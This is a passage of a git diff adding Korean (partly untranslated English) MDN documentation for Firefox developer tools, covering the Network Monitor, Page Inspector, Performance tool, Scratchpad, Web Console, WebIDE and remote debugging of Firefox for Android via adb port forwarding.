+
+
+
+ +
+
+
+

브라우저 디버깅하기

+ +

보통의 경우, 개발자 도구는 웹 페이지나 웹 애플리케이션을 디버깅 하지만 브라우저에 연결하여 브라우저나 애드온 프로그램 개발에 유용하게 사용할 수도 있습니다.

+ +
+
브라우저 콘솔
+
브라우저나 애드온 프로그램에서 발생한 로그 메시지를 확인하세요. 페이지에서 직접 Javascript 코드를 실행할 수도 있습니다.
+
브라우저 도구 박스
+
브라우저에 개발자 도구를 추가하세요.
+
+
+ +
+

개발자 도구 확장하기

+ +

개발자 도구는 확장이 용이하도록 디자인 되었습니다. Firefox 애드온은 기존의 도구를 확장하거나 새로운 도구를 추가하기 위한 컴포넌트 및 개발자 도구를 다룰 수 있으며, 원격 디버깅 프로토콜을 통해 여러분만의 도구를 사용해 웹사이트를 디버깅하거나, 혹은 Firefox에서 다른 디바이스를 디버깅하는 여러분만의 클라이언트나 서버를 구현할 수도 있습니다.

+ +
+
개발자 도구 화면에서 새 패널 추가하기
+
개발자 도구 화면에서 새 패널을 추가하는 애드온을 만들어 보세요.
+
+ +
+
원격 디버깅 프로토콜
+
원격 디버깅 프로토콜은 Firefox 개발자 도구가 Firefox나 Firefox OS 장치로 연결할 수 있게 해줍니다.
+
소스 편집기
+
여러분이 개발한 애드온 프로그램에 Firefox 코드 편집기를 내장할 수 있습니다.
+
디버거 인터페이스
+
작성한 자바스크립트 코드의 실행 결과를 관찰할 수 있는 API입니다. Firefox 개발자 도구는 이 API를 사용해서 Javascript 디버거를 만들었습니다.
+
웹 콘솔 출력 커스터마이징
+
브라우저 콘솔웹 콘솔을 커스터마이징 하는 방법을 알아보세요.
+
개발자 도구 애드온 예제
+
예제를 활용하여 개발자 도구 애드온 프로그램이 어떻게 만들어지는지 이해해 보세요.
+
+
+
+ +
+

다른 리소스

+ +

이 섹션의 리소스들은 Mozilla 개발자 도구 팀에서 제공하는 것이 아니지만 웹 개발자들에게 잘 알려진 것들이며, 이 중에는 Firefox 애드온 프로그램에 포함된 것도 있습니다. 전체 목록을 보려면 addons.mozilla.org 사이트의 "Web Developer" 카테고리를 확인하세요.

+ +
+
+
+
Firebug
+
아주 유명하고 강력한 웹 개발 도구이며, 자바스크립트 디버거와 HTML과 CSS 뷰어, 네트워크 모니터를 포함합니다.
+
DOM 검사기
+
웹 페이지의 DOM이나 XUL 윈도우를 탐색하고 편집하며, 점검해 볼 수 있는 도구입니다.
+
웹 개발자
+
다양한 웹 개발 도구를 브라우저의 메뉴나 툴바에 추가하세요.
+
+
+ +
+
+
웹메이커 도구
+
Mozilla에서 웹 개발을 시작하는 사람들을 위해 만든 도구들을 모아 두었습니다.
+
W3C 검사기
+
W3C 웹사이트는 여러분의 HTMLCSS를 포함한 웹사이트 정합성을 확인하는 여러 도구들을 제공하고 있습니다.
+
JSHint
+
JavaScript 코드 분석 도구입니다.
+
+
+
diff --git a/files/ko/tools/network_monitor/index.html b/files/ko/tools/network_monitor/index.html new file mode 100644 index 0000000000..899055fb55 --- /dev/null +++ b/files/ko/tools/network_monitor/index.html @@ -0,0 +1,63 @@ +--- +title: Network Monitor +slug: Tools/Network_Monitor +tags: + - 가이드 + - 개발자도구 + - 네트워킹 + - 데브툴 + - 디버깅 + - 툴 + - 파이어폭스 +translation_of: Tools/Network_Monitor +--- +
{{ToolsSidebar}}
+ +

네트워크 모니터는 파이어폭스가 페이지를 로드할 때나 XMLHttpRequests로 인해 행해진 모든 네트워크 요청들의 소요 시간 및 세부사항을 나타냅니다.

+ +

네트워크 모니터 열기

+ +

네트워크 모니터를 여는데 몇 가지 다른 방법이 있습니다:

+ + + +

네트워크 모니터가 브라우저 창 하단에 나타납니다. 처음 네트워크 모니터를 열었을 때, request 정보가 보이지 않고 아래와 같이 나타납니다.

+ +

두 가지 액션 모두, 네트워크 모니터가 네트워크 활동 모니터링을 시작하게 합니다. 도구가 네트워크 요청들을 모니터링하면 화면에 다음과 같이 표시됩니다.

+ +

+ +

네트워크 모니터는 도구 상자가 열려있을 때면 네트워크 모니터가 선택되지 않아도 네트워크 요청들을 기록합니다. 따라서, 네트워크 활동을 보기 위해서 Console을 보고 있어도 Console을 Network 모니터로 전환함으로써 페이지를 새로고침할 필요 없이 디버깅을 시작 할 수 있습니다.

+ +

UI overview

+ +

UI는 크게 네 부분으로 나뉩니다:

+ + + +

+ + + +

Performance analysis view

+ +

Working with the network monitor

+ +

The following articles cover different aspects of using the network monitor:

+ + diff --git a/files/ko/tools/page_inspector/index.html b/files/ko/tools/page_inspector/index.html new file mode 100644 index 0000000000..c98dd8d947 --- /dev/null +++ b/files/ko/tools/page_inspector/index.html @@ -0,0 +1,48 @@ +--- +title: 페이지 검사기 +slug: Tools/Page_Inspector +translation_of: Tools/Page_Inspector +--- +
{{ToolsSidebar}}

페이지의 HTML 과 CSS 를 검사하고 수정하기 위해 페이지 검사기를 사용하라.

+ +

파이어폭스의 로컬 복사본으로 로드된 페이지를 검사하거나 파이어폭스 운영체제 기기 혹은 안드로이드 파이어폭스 같은 원격 목표를 검사할 수 있다. 원격 목표물의 개발자 도구에 연결하는 법을 배우기 위해 remote debugging 을 보라.

+ +
+

사용자 인터페이스 투어

+ +

검사기를 둘러싼 자신만의 방법을 찾기 위해 quick tour of the UI 이 있다.

+ +
+

방법

+ +

어떤 것이 검사기로 작업 가능한 지 찾기 위해 다음의 방법 지침을 보라:

+ +
+ +
+ +
+

참고

+ +
+ +
diff --git a/files/ko/tools/page_inspector/ui_tour/index.html b/files/ko/tools/page_inspector/ui_tour/index.html new file mode 100644 index 0000000000..7a7cfbb158 --- /dev/null +++ b/files/ko/tools/page_inspector/ui_tour/index.html @@ -0,0 +1,104 @@ +--- +title: UI 일주 +slug: Tools/Page_Inspector/UI_Tour +translation_of: Tools/Page_Inspector/UI_Tour +--- +
{{ToolsSidebar}}

이 글은 페이지 검사기의 사용자 인터페이스에 대한 주요 부분의 간략한 설명이다.

+ +

검사기 UI의 상위 3개 요소를 다룬다:

+ + + +

이 안내는 의도적으로 가능한 쩗게 유지된다. 다양한 검사기 사용법에 대한 상세안내로 가는 링크가 걸려 있다.

+ +

요소 선택 버튼

+ +

검사기가 현재 선택된 요소에 대한 자세한 정보를 준다. 요소 선택 버튼은 검사를 위해 요소를 선택할 수 있는 한 방법이다:

+ +

+ +

실제 main toolbox toolbar의 부분이며, 검사기 뿐만 아니라 어떠한 도구로부터든 즉시 접근 가능하다는 것을 인지하라.

+ +

한 요소를 선택하는 법을 배우기 위해 selecting an element 에 대한 지침을 보라.

+ +

HTML 구역

+ +

검사기가 두 개로 반나눠져 있다. 왼쪽 반은 HTML 구역이 차지하고 있다:

+ +

+ +

HTML 구역의 구조에 대해 더 알기 위해, examining and editing HTML 에 대한 지침을 보라.

+ +

CSS 구역

+ +

오른쪽 부분은 CSS 구역이 차지한다:

+ +

CSS 구역은 5가지 화면으로 나뉜다:

+ + + +

다른 화면 간에 이동하기 위해 상단의 탭을 사용하라.

+ +

규칙 화면

+ +

규칙 화면은 선택된 요소에 적용된 모든 규칙을 목록으로 나열한다. 가장 특이성이 높은 것에서 부터 가장 특이성이 떨어지는 것으로 정렬된다:

+ +

+ +

더 자세한 내용은 Examine and edit CSS 를 보라.

+ +

계산된 스타일 화면

+ +

계산된 스타일 화면은 선택된 요소의 계산 완료된 CSS 를 보여준다.

+ +

+ +

더 자세한 내용은 Examine and edit CSS 를 보라.

+ +

글꼴 화면

+ +
+

파이어폭스47 부터 글꼴 화면은 기본적으로 불가능해진다. 충분한 특성을 가진 다른 대체품을 작업중이다.

+ +

그 동안 글꼴 화면을 보고자 한다면, about:config 을 방문해서 devtools.fontinspector.enabled 을 찾아서 true 로 설정하라.

+
+ +

글꼴 화면은 수정가능한 예제와 함께 페이지 내의 모든 글꼴을 보여준다.

+ +

+ +

더 자세한 내용은 View fonts 를 보라.

+ +

박스 모델 화면

+ +

박스 모델 화면은 선택된 요소의 박스 모델의 수정가능한 화면을 제공한다.

+ +

+ +

더 자세한 내용은 Examine and edit the box model 를 보라.

+ +

애니메이션 화면

+ +

애니메이션 화면은 선택된 요소에 적용된 어떠한 애니메이션이든 상세 정보와 그들을 멈출 콘트롤러를 제공한다:

+ +

 

+ +

+ +

더 자세한 내용은 Work with animations 를 보라.

+ +

CSS 구역 보이게 하거나 가리기

+ +

파이어폭스40 부터, CSS 구역을 보이게 하거나 가리는 사용하는 버튼을 툴바에서 볼 수 있다:

+ +

diff --git a/files/ko/tools/performance/index.html b/files/ko/tools/performance/index.html new file mode 100644 index 0000000000..8a1784f43b --- /dev/null +++ b/files/ko/tools/performance/index.html @@ -0,0 +1,94 @@ +--- +title: 성능 측정 도구 +slug: Tools/Performance +translation_of: Tools/Performance +--- +
{{ToolsSidebar}}

성능 도구(Performance tool)는 반응형, 자바 스크립트, 그리고 레이아웃의 성능에 대한 전반적인 통찰력을 줍니다.

+ +

성능 도구를 사용하여 특정 시간 동안 사이트를 기록하고 프로파일링을 할 수 있습니다. 이를 이용하면 브라우저가 사이트를 렌더링 하는 중에 일어나는 상황을 한 눈에 보여주고, 프레임 레이트의 그래프를 그려줍니다.

+ +

성능 도구는 더 자세한 분석을 위해 세 가지 보조 도구들을 지원합니다 :

+ + + +

{{EmbedYouTube("WBmttwfA_k8")}}

+ +
+

시작하기

+ +
+
+
+
UI 투어
+
+

성능 도구를 사용하는 방법을 찾아보려면 UI에 대한 퀵투어가 있습니다.

+
+
+
+ +
+
+
시작 방법
+
기본적인 업무: 도구를 열기, 생성, 저장, 로드하고 녹화를 설정합니다.
+
 
+
+
+
+ +
+

성능 도구의 구성요소

+ +
+
+
+
프레임 레이트
+
당신의 사이트의 전반적인 반응형을 이해합니다.
+
콜트리
+
당신의 사이트의 자바스크립트에서 부하가 걸리는 부분을 찾습니다.
+
+
+ +
+
+
워터폴
+
사용자가 당신의 사이트와 상호작용할때 브라우저가 어떻게 작용하는지 이해합니다. 
+
프레임 차트
+
녹화되는 동안에 어떤 자바스크립트 함수들이 언제 수행되는 지 봅니다.
+
+
+
+ +
+

시나리오

+ +
+
+
+
 CSS 애니메이팅
+
워터폴을 사용하여 어떻게 브라우저가 페이지를 업데이트하고, CSS 속성들이 어떻게 성능에 영향을 주는지 알아보세요.
+
 
+
 
+
+
+ +
+
+
인텐시브한 자바스크립트
+
프레임레이트와 워터폴을 사용하면 장기간 실행되는 자바스크립트로 인해서 발생되는 수행상의 문제들과 workers를 사용하는 것이 이 상황에서 어떻게 도움이 되는지 강조해서 표시합니다.
+
+
+
+ +

 

+ +
+
+
 
+
+
+ +

 

diff --git a/files/ko/tools/performance/ui_tour/index.html b/files/ko/tools/performance/ui_tour/index.html new file mode 100644 index 0000000000..f32605ba3e --- /dev/null +++ b/files/ko/tools/performance/ui_tour/index.html @@ -0,0 +1,127 @@ +--- +title: UI Tour +slug: Tools/Performance/UI_Tour +translation_of: Tools/Performance/UI_Tour +--- +
{{ToolsSidebar}}

The performance tool's UI consists of 4 main pieces:

+ +

+ + + +

Toolbar

+ +

Toolbar는 다음과 같은 버튼을 포함합니다:

+ + + +

+ +

Recordings pane

+ +

The recordings pane lists all the recordings you have loaded, including any you have made in this session and any you have imported.

+ +

+ +

At any given time, one recording is selected, and that recording is displayed in the rest of the tool. To select a different recording, click its entry in the pane. To save the recording as a JSON file click "Save".

+ +

Recording overview

+ +

This displays an overview of the entire recording, with the x-axis representing time.

+ +

+ +

It contains two elements: an overview of the Waterfall and a frame rate graph.

+ +

Waterfall overview

+ +

This presents a compressed view of the Waterfall:

+ +

+ +

Recorded operations are color-coded using the same scheme as in the main Waterfall view.

+ +

Frame rate graph

+ +

The frame rate gives you an overview of the browser's responsiveness during the recording:

+ +

+ +

See the separate article on frame rate.

+ +

Correlating events

+ +

Because these elements are synchronized, you can correlate events in one element with events in another.

+ +

For example, in the screenshot below a long-running paint operation (shown as a green bar in the waterfall overview) corresponds to a drop in the frame rate:

+ +

+ +

Zooming in

+ +

You can use the overview to select a slice of the recording to examine in more detail. Select a slice, and the main view will be updated to contain just the part selected. In the screenshot below we've selected that drop in the frame rate, and can see the long-running paint operation in more detail:

+ +

+ +

Details pane

+ +

The Details pane shows whichever tool is currently selected. To switch to a different tool, use the buttons in the Toolbar.

+ +

Waterfall

+ +

The Waterfall presents a view of the work the browser is doing during the recording: executing JavaScript, updating the CSS, updating the page layout, and performing repaints. The x-axis represents time, and the recorded operations are laid out as a waterfall, reflecting the serial nature of the browser's execution.

+ +

+ +

To learn much more about the Waterfall, see the separate Waterfall page.

+ +

Call Tree

+ +

The Call Tree is a sampling profiler for JavaScript running in the page. It periodically samples the state of the JavaScript engine, and records the stack for the code executing at the time the sample was taken. Statistically, the number of samples taken in which we were executing a particular function corresponds to the amount of time the browser is spending executing it, so you can identify bottlenecks in your code.

+ +


+ To learn much more about the Call Tree, see the separate Call Tree page.

+ +

Flame Chart

+ +

If the Call Tree tells you, statistically, which functions your site is spending most time executing across the whole recording, the Flame Chart tells you the call stack at any given point during the recording:

+ +

+ +

To learn much more about the Flame Chart, see the separate Flame Chart page.

+ +

Allocations

+ +
+

The Allocations view is new in Firefox 46.

+
+ +

The Allocations view is like the Call Tree view, but for allocations: it shows you which functions in your page are allocating the most memory over the course of the profile.

+ +

+ +

The Allocations view only appears if you checked "Record Allocations" in the Performance tool settings, before recording a profile:

+ +

{{EmbedYouTube("Le9tTo7bqts")}}

+ +

To learn much more about the Allocations view, see the separate Allocations page.

+ +

 

diff --git a/files/ko/tools/remote_debugging/firefox_for_android/index.html b/files/ko/tools/remote_debugging/firefox_for_android/index.html new file mode 100644 index 0000000000..aa3e7570de --- /dev/null +++ b/files/ko/tools/remote_debugging/firefox_for_android/index.html @@ -0,0 +1,138 @@ +--- +title: Remotely debugging Firefox <36 for Android +slug: Tools/Remote_Debugging/Firefox_for_Android +translation_of: Tools/Remote_Debugging/Firefox_for_Android +--- +
{{ToolsSidebar}}
+

This guide is for Firefox versions version 36 and earlier. For more recent Firefox versions, please use the WebIDE guide.

+
+ +

This guide explains how to use remote debugging to inspect or debug code running in Firefox for Android over USB.

+ +

+ +

This guide's split into two parts: the first part, "Prerequisites" covers stuff you only need to do once, while the second part, "Connecting", covers stuff you need to do each time you connect the device. 

+ +

Prerequisites

+ +

First, you'll need:

+ + + +

ADB setup

+ +

Next, you'll need to get the desktop and the Android device talking to each other using the adb command-line tool.

+ +

On the Android device

+ + + +

On the desktop

+ + + +

To check it worked, open up a command shell on the desktop and type:

+ +
adb devices
+ +

You should see some output like:

+ +
List of devices attached
+51800F220F01564 device
+
+ +

(The long hex string will be different.)

+ +

If you do, then adb has found your device and you've successfully set up ADB.

+ +

Enable remote debugging

+ +

Next, you need to enable remote debugging on both the Android device and the desktop.

+ +

Firefox for Android 24 and earlier

+ +

To enable remote debugging on the device, you need to set the devtools.debugger.remote-enabled preference to true.

+ +

Go to about:config in Firefox for Android, type "devtools" into the search box and press the Search key. You'll see all the devtools preferences. Find the devtools.debugger.remote-enabled preference, and press "Toggle".

+ +

+ +

Firefox for Android 25 and later

+ +

On Firefox for Android 25 and later, there's a menu item to enable remote debugging. Open the menu, select "Settings", then "Developer tools" (on some Android devices you may need to select "More" to see the "Settings" option). Check the "Remote debugging" box:

+ +

+ +

The browser will display a notification reminding you to set up port forwarding, which we'll do later on.

+ +

On the desktop

+ +

On the desktop, remote debugging is enabled by a setting in the Toolbox. Open the Toolbox, click the "Settings" button in the toolbar, and check "Enable remote debugging" in the Settings tab:

+ +

+ +
If you're using a version of Firefox older than 27, you'll need to restart the browser for the setting to take effect.
+ +

You'll then see a new option in the Web Developer menu labeled "Connect...":

+ +

+ +

Connecting

+ +

Now you can connect the remote debugging tools to the device. First, attach the device to the desktop with a USB cable, if you haven't already.

+ +

On the desktop

+ +

For Firefox 34 or below, go to a command prompt, and type:

+ +
adb forward tcp:6000 tcp:6000
+ +

For later versions of Firefox, go to a command prompt, and type:

+ +
adb forward tcp:6000 localfilesystem:/data/data/org.mozilla.firefox/firefox-debugger-socket
+ +

(If you've changed the value the Android device uses for a debugging port, you'll need to adjust this accordingly.)

+ +

For Firefox OS, type:

+ +
adb forward tcp:6000 localfilesystem:/data/local/debugger-socket
+ +

You'll need to reissue this command each time you physically attach desktop and device with the USB cable.

+ +

Then go to the Web Developer menu on Firefox, and select "Connect...". You'll see a page that looks like this:

+ +

Unless you've changed the port numbers, choose 6000 and press the "Connect" button.

+ +

On the Android device

+ +

Next you'll see a dialog in Firefox for Android asking you to confirm the connection:

+ +

Press "OK". The desktop waits for a few seconds to give you time to acknowledge this dialog: if it times out, just press "Connect" in the desktop dialog again.

+ +

On the desktop

+ +

Next, the desktop shows you a dialog that looks something like this:

+ +

This is asking whether you want to debug web content running in a browser tab, or to debug the browser code itself.

+ + + +

Let's choose to attach to the mozilla.org website. The Toolbox will open in its own window, attached to the Firefox for Android tab that's currently hosting mozilla.org:

+ +

+ +

The Toolbox, and the tools it hosts, work in just the same way as they do when attached to local content.

diff --git a/files/ko/tools/remote_debugging/index.html b/files/ko/tools/remote_debugging/index.html new file mode 100644 index 0000000000..267a6618cc --- /dev/null +++ b/files/ko/tools/remote_debugging/index.html @@ -0,0 +1,31 @@ +--- +title: Remote Debugging +slug: Tools/Remote_Debugging +translation_of: Tools/Remote_Debugging +--- +
{{ToolsSidebar}}

You can use the Firefox developer tools on your desktop to debug code running remotely: in a different process on the same device or on a completely different device. To do this you use Firefox to attach the Toolbox to the remote process, and the Toolbox is then launched in its own window. At the moment the following tools support remote debugging:

+ + + +

Firefox for Android

+ +

Remotely debugging Firefox for Android describes how to connect to Firefox on an Android device over USB.

+ +

Firefox for Metro

+ +

Remotely debugging Firefox for Metro describes how to use desktop Firefox to debug code running in Windows 8 (Metro-style) Firefox.

+ +

Firefox OS

+ +

WebIDE includes instructions for connecting the Firefox developer tools to the Firefox OS Simulator or to a Firefox OS device.

+ +

Thunderbird

+ +

Remotely debugging Thunderbird explains how a combination of Firefox and Thunderbird can be used to debug code running in Thunderbird.

diff --git a/files/ko/tools/scratchpad/index.html b/files/ko/tools/scratchpad/index.html new file mode 100644 index 0000000000..9701e48ffb --- /dev/null +++ b/files/ko/tools/scratchpad/index.html @@ -0,0 +1,90 @@ +--- +title: Scratchpad +slug: Tools/Scratchpad +translation_of: Archive/Tools/Scratchpad +--- +
{{ gecko_minversion_header("6.0") }}
+ +

Firefox 6 이후 내장되고 있는 스크래치패드(Scratchpad)는 JavaScript 코드의 실험에 편리한 환경을 제공합니다. 웹 페이지의 컨텐츠와 직접 연결해서 코드를 조작할 수 있기 때문에 실제 서비스하는 웹 페이지를 최종적으로 테스트하거나 아이디어를 시험해 볼 수 있습니다. 또한 기존의 웹 사이트를 조작하거나 사이트에서 하고 싶은 조작을 할 수도 있습니다.

+ +

한 번에 1 행의 코드를 실행하도록 설계되고 있는 웹 콘솔과는 달리 스크래치패드는 보다 큰 JavaScript 코드 덩어리를 편집할 수 있고 그리고 출력 결과의 용도에 다양한 방법으로 코드를 실행할 수 있습니다.

+ +

스크래치패드를 사용하기

+ +

스크래치패드 윈도우를 열려면 웹 개발자 메뉴(Mac 에서는 도구모음 메뉴의 부메뉴로서 존재)로 스크래치패드를 선택합니다. 그러면 스크래치패드의 편집 윈도우가 열립니다. 윈도우내에는 스크래치패드의 사용법을 간단하게 나타내 보이는 코멘트가 기재되어 있습니다. 거기에 즉시 JavaScript 의 코드를 쓰기 시작할 수 있습니다.

+ +

스크래치패드의 윈도우는 아래와 같은 모양입니다. (Windows 나 Linux 에서는 도구모음도 표시되어 한편 Mac 에서는 화면상부에 도구모음이 표시됩니다):

+ +

scratchpad.png

+ +

유용한 키보드 바로가기을 포함한 에디터 그 자체에 관한 문서에 대해서는 소스 에디터 사용을 참고하세요.

+ +

윈도우의 아래에 코드의 현재의 실행 범위가 표시 됩니다. 여기에는 스크래치패드의 내용 또는 현재의 페이지의 컨텐츠가 됩니다. 자세한 것은 스크래치패드의 범위를 참고하세요.

+ +
{{ gecko_callout_heading("10.0") }} +

Gecko 10.0 {{ geckoRelease("10.0") }} 로 스크래치패드의 에디터가 문법상 하이라이트나 개량된 인덴트등의 기능을 가지는 Orion 로 옮겨졌습니다.여기에 스크래치패드의 내용이 Firefox 의 세션 복원 기능을 이용해 저장되게 되었으므로 Firefox 다시 시작 후에도 내용이 남습니다.

+
+ +

파일 메뉴에서는 JavaScript 코드의 저장이나 읽기를 실행할 수 있기 때문에 다음에 코드를 재이용할 수 있습니다.

+ +

코드 실행하기

+ +

코드를 기술하면 실행하고 싶은 위치 범위를 선택해 오른쪽 클릭해 (또는 도구모음의 실행 메뉴로) 코드의 실행 방법을 선택해 주세요. 코드의 실행 방법은 세 가지 종류 있습니다.

+ +
주의: 범위 선택을 실시하지 않는 경우는 윈도우내의 코드 모두 실행됩니다.
+ +

실행

+ +

실행 옵션을 선택하면 선택한 코드가 실행됩니다. 이것은 함수나 그 외의 코드를 실행하거나 페이지내의 컨텐츠를 조작하거나 하는 것입니다.

+ +

검사

+ +

검사 옵션은 코드를 실행 옵션과 같이 실행합니다. 다만 실행 후에 반환값의 검증을 실시할 수 있는 객체 검사기가 열립니다.

+ +

예를 들면 이하의 코드를 입력합니다:

+ +
window
+
+ +

그리고 검사를 선택하면 이하와 같은 검사기의 윈도우가 표시됩니다:

+ +

inspector.png

+ +

표시

+ +

표시 옵션은 선택된 코드를 실행하고 그 결과를 스크래치패드의 에디터내에 코멘트로서 삽입합니다. 이것은 작업중에 테스트 결과의 실행 로그를 남기는데 편리한 방법입니다. 또 이 기능은 큰 문제를 떠안았을 때에 보다 좋은 계산기 프로그램을 가지고 있지 않은 경우에서도 만일의 경우의 계산기로서 사용할 수 있습니다.

+ +

지우기

+ +

실행 메뉴 또는 스크래치패드의 윈도우로 오른쪽 클릭한다고 표시되는 context menu의 "변수 재설정"을 선택하면 모든 변수를 재설정 할 수 있습니다.

+ +

스크래치패드 사용 예제

+ +

아래에 도움이 되는 사례는 많이 있습니다. 여기에서 몇 가지를 소개합니다.

+ +

새로운 코드 테스트

+ +

스크래치패드는 새로운 코드를 실제의 브라우저 환경에서 테스트하는 것에 특별히 도움이 됩니다. 디버그 중의 코드를 스크래치패드에 붙여넣기하여 실행해 그것이 동작할 때까지 조정합니다. 동작하게 되면 코드를 본래의 파일에 되돌려 완성합니다. 많은 경우 웹 페이지를 다시 읽고 코드를 작성한 후, 디버그 및 테스트를 실시할 수 있습니다.

+ +

재활용 가능한 코드

+ +

스크래치패드의 도구 모음에는 JavaScript 코드의 저장이나 읽기를 실시하는 명령어가 있습니다. 이 기능은 잘 사용하는 JavaScript는 작은 코드의 보관에 사용할 수 있습니다. 예를 들면 데이터 읽기에 AJAX 리퀘스트를 이용하는 사이트에서 작업을 실시하고 있는 경우 테스트나 데이터의 검증을 위해서 그러한 읽기 조작을 실시하는 코드 영역을 저장해 둘 수 있습니다. 같이 DOM 에 관한 특정의 정보를 덤프 하는 함수와 같은 유용한 범용 디버그 함수를 저장해 둘 수도 있습니다.

+ +

스크래치패드 범위

+ +

+ +

스크래치패드로 실행하는 코드는 페이지 전체에 접근 가능한 샌드 박스내에서 실행됩니다만 신규 작성한 변수는 페이지에 나가지 않습니다. 명시적으로 변수를 페이지로 보내고 싶은 경우는,{{ domxref("window") }} 객체에 그 변수를 두는 것으로 실현할 수 있습니다:

+ +
window.myVariable = value;
+
+ +

이 경우 신규 작성한 window.myVariable 변수는 페이지상에서 실행하고 있는 스크립트에 접근 가능하게 됩니다.

+ +
주의: 이 샌드 박스의 동작은 웹 콘솔과 유사합니다. 다만 스크래치패드는 탭을 바꾸어 사용하는 점이 웹 콘솔과는 다릅니다. 즉, 스크래치패드로 실행하는 코드는 맨 앞면의 브라우저 윈도우로 현재 선택하고 있는 탭에 대해서만 실행됩니다. 예를 들면 같은 테스트를 복수의 웹 서버에 대해서 실행 할 수 있게 됩니다.
+ +

스크래치패드를 Firefox 내부 접근 사용

+ +

Firefox 자체에 대하고 작업을 하는 경우나 확장 기능을 개발하는 경우는 스크래치패드를 이용해 브라우저의 내부 모두에게 액세스 할 수 있어 편리합니다. 이를 위해서는 about:config로 설정 devtools.chrome.enabledtrue 로 설정하는 것이 필요합니다. 이 설정을 하면 실행 환경 메뉴에 브라우저라고 하는 선택 사항이 추가됩니다.이것을 선택하면 범위가 웹 페이지의 컨텐츠로부터 브라우저 전체로 바뀝니다.

+ +

{{ languages( { "en": "en/Tools/Scratchpad", "es": "es/Herramientas/Borrador", "fr": "fr/Outils/Ardoise" } ) }}

diff --git a/files/ko/tools/web_console/index.html b/files/ko/tools/web_console/index.html new file mode 100644 index 0000000000..8f034e2e57 --- /dev/null +++ b/files/ko/tools/web_console/index.html @@ -0,0 +1,37 @@ +--- +title: Web Console +slug: Tools/Web_Console +translation_of: Tools/Web_Console +--- +
{{ToolsSidebar}}

웹 콘솔:

+ +
    +
  1. 로그 정보는 웹페이지와 연관되어 있습니다 : 페이지 컨텍스트 안에서 자바스크립트 코드가 동작하면서 네트워크 요청, 자바스크립트, CSS, 보안 에러들과 에러만큼 많은 경고들, 정보메시지들이  명시적으로 기록됩니다
  2. +
  3.  페이지의 컨텍스트 안에서 자바 스크립트 표현식으로 처리된 웹 페이지와의 상호작용을 가능하게 해줍니다
  4. +
+ +

{{EmbedYouTube("C6Cyrpkb25k")}}

+ +
+
+
+
웹 콘솔 시작하기
+
웹 콘솔 사용을 시작하기 위한 방법
+
명령 라인 인터프리터
+
콘솔을 사용하여 문서와 상호작용하기 위한 방법
+
콘솔 나누기
+
다른도구와 함께 콘솔 사용하기
+
+
+ +
+
+
콘솔 메시지들
+
콘솔 로그의 메시지 세부사항들
+
Rich output
+
콘솔에 의해 기록된 객체를 보고 상호작용.
+
단축키
+
단축키 참고
+
+
+
diff --git a/files/ko/tools/webide/index.html b/files/ko/tools/webide/index.html new file mode 100644 index 0000000000..b5257f47ae --- /dev/null +++ b/files/ko/tools/webide/index.html @@ -0,0 +1,42 @@ +--- +title: WebIDE +slug: Tools/WebIDE +tags: + - Apps + - Debugging + - Firefox OS + - NeedsTranslation + - TopicStub + - WebIDE + - tool +translation_of: Archive/WebIDE +--- +
{{ToolsSidebar}}
+

WebIDE enables you to create, edit, run, and debug web apps using the Firefox OS Simulator or a real Firefox OS device.

+ +

It also enables you to connect the Firefox Developer Tools to a number of other browsers, including Firefox for Android, Chrome on Android, and Safari on iOS. See the Remote Debugging page for instructions on how to connect to a specific browser.

+
+ +

With WebIDE, you first set up one or more runtimes. A runtime is an environment in which you'll run and debug the app. A runtime could be a Firefox OS device connected to the desktop over USB (or over Wi-Fi since Firefox 39), or it could be a Firefox OS Simulator installed on the desktop itself.

+ +

Next, you create an app, or open an existing app. If you're creating a new app you can start with a template that includes the directory structure and the minimum boilerplate you need to get started, or a more complete template that shows how to use a privileged API. WebIDE shows your app's files in a tree, and you can edit and save them using a built-in source editor. Of course, you don't have to use the built-in editor: you can develop your app entirely outside WebIDE, and only use it for debugging.

+ +

Finally, you can install the app in one of the runtimes and run it. You can then open the usual suite of developer tools - the Inspector, Console, JavaScript Debugger and so on - to examine and modify the running app.

+ +
+
+
Opening WebIDE
+
How to open WebIDE from within Firefox.
+
Setting up runtimes
+
How to connect to a runtime in which you can install apps, including Firefox OS devices, the the Firefox OS Simulator, and Firefox for Android.
+
Creating and editing apps
+
How to create, open, and develop apps using WebIDE.
+
The runtime menu
+
Once you've selected a runtime, use the runtime menu to get information about the runtime and its apps, modify settings, and take a screenshot.
+
Running and debugging apps
+
How to install apps to a runtime and debug them using the Firefox Developer Tools.
+
Working with Cordova apps in WebIDE
+
From Firefox 39, you can edit and debug Cordova apps using WebIDE.
+
Troubleshooting
+
Help for problems with WebIDE, especially problems connecting to a runtime.
+
diff --git "a/files/ko/tools/webide/\353\254\270\354\240\234\355\225\264\352\262\260/index.html" "b/files/ko/tools/webide/\353\254\270\354\240\234\355\225\264\352\262\260/index.html" new file mode 100644 index 0000000000..1cd12c1b45 --- /dev/null +++ "b/files/ko/tools/webide/\353\254\270\354\240\234\355\225\264\352\262\260/index.html" @@ -0,0 +1,115 @@ +--- +title: WebIDE 문제해결 +slug: Tools/WebIDE/문제해결 +translation_of: Archive/WebIDE/Troubleshooting +--- +
{{ToolsSidebar}}

USB로 Firefox OS 장치 연결하기

+ +

WebIDE를 통한 Firefox OS 장치 연결이 정상적이지 않을 때, 아래의 방법을 시도해보시기 바랍니다.

+ + + +

Wi-Fi로 Firefox OS 장치 연결하기

+ + + +

Connecting to Firefox for Android

+ +

If you're trying to connect to a Firefox instance running on the Android OS and it doesn't show up, here are some things you can try:

+ + + +

Connecting to other browsers (Chrome, Safari)

+ +

WebIDE makes use of Valence (formerly Firefox Tools Adapter) to reach other browsers, like Chrome and Safari. 

+ +

If you are having trouble connecting to these other browsers, check the setup steps and other notes for those browsers on the Valence page.

+ +

Can't debug some apps

+ +

If you are finding that you can't debug certified apps, built-in apps, or apps already installed on a real device, then you may be coming across WebIDE's restricted privileges security policy. To find out more, see the section on Unrestricted app debugging (including certified apps, main process, etc.).

+ +

Unable to load project list

+ +

If you open WebIDE in one version of Firefox, and then downgrade to a previous Firefox version with the same profile, you may see the error "Unable to load project list" when opening WebIDE in the earlier Firefox version.

+ +

This can occur when the storage system that WebIDE uses (IndexedDB) needs to move or restructure its internal files for the newer Firefox version. The project list then becomes effectively inaccessible to older versions of Firefox.

+ +

No data has been lost, but you will need to keep using the newest version of Firefox that was used with your profile to get the project list back.

+ +

If really want to use the older version of Firefox, you can attempt to delete just the project list in the following way, but this is unsupported and could result in the further problems or additional data loss:

+ +
    +
  1. Close Firefox
  2. +
  3. Find your Firefox profile directory
  4. +
  5. Find the storage folder inside the profile directory
  6. +
